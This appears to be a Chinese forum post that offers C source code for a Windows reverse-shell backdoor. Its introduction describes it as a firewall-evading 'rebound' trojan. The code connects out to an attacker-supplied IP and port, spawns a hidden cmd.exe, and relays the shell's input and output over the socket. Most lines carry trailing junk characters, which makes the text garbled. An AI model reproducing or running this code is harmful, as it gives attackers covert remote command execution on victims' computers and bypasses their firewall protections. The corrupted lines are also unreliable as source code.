这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5(1c?biP&
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/* ============================== +,7vbs3
Rebound port in Windows NT _I,GH{lh I
By wind,2006/7 l%0-W
===============================*/ c*<BU6y
#include uTO%O}D N
#include M;AvOk|&
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#pragma comment(lib,"wsock32.lib") M|@@
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void OutputShell(); -~J5aG[@~>
SOCKET sClient; 3 TV4|&W;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; * _usVg
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void main(int argc,char **argv) 6e.l#
c!1}
{ l*CCnqE
WSADATA stWsaData; h{\S '8
int nRet; hfc~HKLC
SOCKADDR_IN stSaiClient,stSaiServer; >^,?0HP
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if(argc != 3) i;qij[W. z
{ u+6L>7t88I
printf("Useage:\n\rRebound DestIP DestPort\n"); 5mL4Zq"
return; *(wxNsK
} Ue`Y>T7+!
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WSAStartup(MAKEWORD(2,2),&stWsaData); F4V) 0)G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G|t0no\f
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stSaiClient.sin_family = AF_INET; XN\rq=
stSaiClient.sin_port = htons(0); # Rs5W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ei}(jlQp
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ed_Fx'
{ 5~[][VV^
printf("Bind Socket Failed!\n"); i&)([C0z$
return; Wi\k&V.mE
} \fvm6$ rZ^
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stSaiServer.sin_family = AF_INET; ,j(E>g3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]w4?OK(j
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >s.y1Vg~C
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g{>0Pa1?C
{ '4M; ;sKW
printf("Connect Error!"); WD kE
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return; i>-#QKqJ
} &b%2Jx[+
OutputShell(); #tw_`yh
} bl10kI:F
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void OutputShell() p*1B*R
{ -M T1q qi
char szBuff[1024]; sC2NFb-+&
SECURITY_ATTRIBUTES stSecurityAttributes; !N][W#:
OSVERSIONINFO stOsversionInfo; UbIUc}ge
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =jxy4`oF
STARTUPINFO stStartupInfo; @li/Y6Wh
char *szShell; R7h3O0@!
PROCESS_INFORMATION stProcessInformation; 0#m=76[b
unsigned long lBytesRead; NP4u/C<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A|U0e`Iw
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VT~%);.#
stSecurityAttributes.lpSecurityDescriptor = 0; `]l|YQz\
stSecurityAttributes.bInheritHandle = TRUE; a>d`g
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yVK l%GO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GlC (uhCpV
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7j#Ix$Ur
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bkpN`+c
stStartupInfo.wShowWindow = SW_HIDE; !4Sd ^"
stStartupInfo.hStdInput = hReadPipe; zITxJx
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /Ah'KN|EN
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GetVersionEx(&stOsversionInfo); DqmKDU
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switch(stOsversionInfo.dwPlatformId) 6V6Mo}QF
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{ +o0yx U
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case 1: V_ntS&2o
szShell = "command.com"; PJ<qqA`!
break; Be^"sC
default: B*tQ0`
szShell = "cmd.exe"; {F\P3-ub
break; */@I$*
} :hWG:`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;nAx@_ab^
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send(sClient,szMsg,77,0); ?s)6 YF
while(1) -QBM^L
{ ;K4uu<e\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6o(.zk`d
if(lBytesRead) /t2H%#v{
{ *Utx0Me
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '
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send(sClient,szBuff,lBytesRead,0); QvOl-Lfc
} 4N3O<)C)@
else k$DRX)e
{ *M>~$h7
lBytesRead=recv(sClient,szBuff,1024,0); w`M`F<_\:
if(lBytesRead<=0) break; RjrQDh|((
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7;r3Bxa
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} 8$IUit h
} Y~#F\v
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return; `JGW8 _
}